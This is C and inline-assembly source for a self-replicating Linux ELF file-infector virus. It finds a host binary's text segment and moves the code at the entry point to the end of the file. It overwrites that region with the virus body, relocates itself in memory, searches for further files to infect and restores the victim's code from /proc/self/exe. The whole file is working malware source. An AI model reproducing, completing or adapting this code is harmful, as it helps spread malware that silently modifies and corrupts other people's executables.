/* I like to move it, move it! */
#include <stdio.h>
#include <unistd.h>
#include <linux/types.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <elf.h>

typedef struct {
	int size;
	void *self;
} globals;
register globals *g asm("ebp");

extern void virus_start;
static void virus_end(void);

asm(	".globl virus_start; virus_start:\n"
	"pusha; push %esp; call virus; pop %eax; popa; .byte 0xe9; .long 0");

#include "../h/syscalls.h"
#include "../h/infect.h"
#include "../h/strings.c"

INFECT_INIT
	Elf32_Phdr *text_seg;
	/* find text segment and check the size of available space */
	phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
	for (text_seg = NULL, i = 0; i < ehdr->e_phnum; i++)
		if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
			text_seg = &phdr[i];
			break;
		}
	if (text_seg == NULL)
		goto _unmap;
	if ((text_seg->p_vaddr + text_seg->p_filesz - ehdr->e_entry) < 4096)
		goto _unmap;
	/* move part of the .text from entry point to the end of file */
	char *p = m + ehdr->e_entry - text_seg->p_vaddr;
	if (write(h, p, g->size) != g->size)
		goto _unmap;
	/* write virus body */
	memcpy(p, g->self, g->size);
INFECT_FINI

#include "../h/search.c"

void virus(uint32_t esp)
{
	/* determine our own size and location in memory, init globals */
	globals glob;
	unsigned char *self = (void*)__builtin_return_address(0) - 7;
	int size = (uint32_t)&virus_end - (uint32_t)&virus_start;

	g = &glob;
	g->size = size;
	g->self = self;

	/* do our job */
	search(NULL);
	
	/* move itself to the new memory location */
	uint32_t nloc;
	nloc = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (nloc > 0xfffff000)
		exit(0);
	memcpy((void*)nloc, (void*)self, size);
	/* patch jump insn */
	*(uint32_t*)(nloc + 10) = (uint32_t)self - (uint32_t)nloc - 14;
	mprotect(nloc, size, PROT_READ|PROT_EXEC);
#ifdef CJMP
	void __attribute__((noinline,stdcall)) jmp(uint32_t addr) {
		*(volatile unsigned int*)(&addr - 1) = addr;
	}
	if (nloc == 0xdeadbeef)
		goto L;
	/* 
vodoo1: notify the compiler that we going to use this label however there is no real 'goto' in the code
	80483c0:       81 ff ef be ad de       cmp    $0xdeadbeef,%edi
	80483c6:       74 18                   je     80483e0 <virus+0xdd>
	80483c8:       b8 dd 83 04 08          mov    $0x80483dd,%eax
	80483cd:       83 ec 0c                sub    $0xc,%esp
voodoo2: -3 gcc allocated 12 bytes in stack
	80483d8:       e8 8a 00 00 00          call   8048467 <jmp.2859>
gcc4 thinks that the lablel is here (0x80483dd):
	80483dd:       83 c4 0c                add    $0xc,%esp
here it is indeed:
L:
	*/
#warning "You're using CJMP, if the virus fails adjust const on the next line! 0 for gcc3"
	jmp(nloc + ((uint32_t)&&L - (uint32_t)&virus_start));
L:
#else
	asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r"(nloc):"%eax");
#endif
	/* restore victim */
	mprotect((void*)((uint32_t)self & 0xfffff000), 8192, PROT_READ|PROT_WRITE);
#ifdef	USE_ARGV
	char *selfexe = *(char**)(esp + 36);
#else
	unsigned int selfexe[4];
	/* "/proc/self/exe" */
	selfexe[0] = 0x6f72702f;
	selfexe[1] = 0x65732f63;
	selfexe[2] = 0x652f666c;
	selfexe[3] = 0x00006578;
#endif	/* USE_ARGV */
	int h = open(selfexe, 0);
	lseek(h, -size, 2);
	read(h, self, size);
	read(h, 0, 0);
	close(h);
	mprotect((void*)((uint32_t)self & 0xfffff000), 8192, PROT_READ|PROT_EXEC);

	/* adjust return address */
	*(uint32_t*)(&esp - 1) = (nloc + 7);
}

static void virus_end(void){};
